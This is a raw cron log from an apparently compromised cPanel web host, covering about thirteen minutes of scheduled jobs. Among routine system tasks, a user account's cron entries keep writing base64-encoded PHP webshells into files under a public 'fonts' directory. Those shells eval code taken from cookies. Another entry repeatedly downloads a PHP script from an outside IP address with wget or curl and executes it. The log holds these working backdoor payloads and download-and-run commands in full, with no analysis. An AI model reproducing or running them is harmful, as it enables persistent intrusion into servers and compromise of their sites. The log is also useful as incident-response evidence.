Aug 30 03:51:01 ip-184-168-122-23 CROND[7155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:51:01 ip-184-168-122-23 CROND[7157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:52:01 ip-184-168-122-23 CROND[7236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:52:01 ip-184-168-122-23 CROND[7238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:52:01 ip-184-168-122-23 CROND[7239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:52:01 ip-184-168-122-23 CROND[7241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:52:01 ip-184-168-122-23 CROND[7240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:53:01 ip-184-168-122-23 CROND[7332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:53:01 ip-184-168-122-23 CROND[7334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:53:01 ip-184-168-122-23 CROND[7336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:53:01 ip-184-168-122-23 CROND[7335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:54:01 ip-184-168-122-23 CROND[7412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:54:01 ip-184-168-122-23 CROND[7413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:54:01 ip-184-168-122-23 CROND[7414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:54:01 ip-184-168-122-23 CROND[7417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:54:01 ip-184-168-122-23 CROND[7416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:55:01 ip-184-168-122-23 CROND[7512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:56:01 ip-184-168-122-23 CROND[7692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:56:01 ip-184-168-122-23 CROND[7694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:56:01 ip-184-168-122-23 CROND[7696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:56:01 ip-184-168-122-23 CROND[7695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:56:01 ip-184-168-122-23 CROND[7697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:57:01 ip-184-168-122-23 CROND[7784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:57:01 ip-184-168-122-23 CROND[7787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:57:01 ip-184-168-122-23 CROND[7786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:57:01 ip-184-168-122-23 CROND[7788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:58:01 ip-184-168-122-23 CROND[7880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:58:01 ip-184-168-122-23 CROND[7881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:58:01 ip-184-168-122-23 CROND[7885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:58:01 ip-184-168-122-23 CROND[7887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:58:01 ip-184-168-122-23 CROND[7888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:59:01 ip-184-168-122-23 CROND[7969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:59:01 ip-184-168-122-23 CROND[7971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:59:01 ip-184-168-122-23 CROND[7972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:59:01 ip-184-168-122-23 CROND[7973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8059]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:00:01 ip-184-168-122-23 CROND[8069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:00:01 ip-184-168-122-23 CROND[8072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:00:01 ip-184-168-122-23 CROND[8073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:01:01 ip-184-168-122-23 CROND[8264]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8264]: starting 0anacron
Aug 30 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8273]: finished 0anacron
Aug 30 04:01:01 ip-184-168-122-23 CROND[8274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:01:01 ip-184-168-122-23 CROND[8277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:01:01 ip-184-168-122-23 CROND[8278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:01:01 ip-184-168-122-23 CROND[8276]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:01:01 ip-184-168-122-23 CROND[8280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:02:01 ip-184-168-122-23 CROND[8362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:02:01 ip-184-168-122-23 CROND[8365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:02:01 ip-184-168-122-23 CROND[8367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:02:01 ip-184-168-122-23 CROND[8364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:02:01 ip-184-168-122-23 CROND[8366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:03:01 ip-184-168-122-23 CROND[8457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:03:01 ip-184-168-122-23 CROND[8459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:03:01 ip-184-168-122-23 CROND[8461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
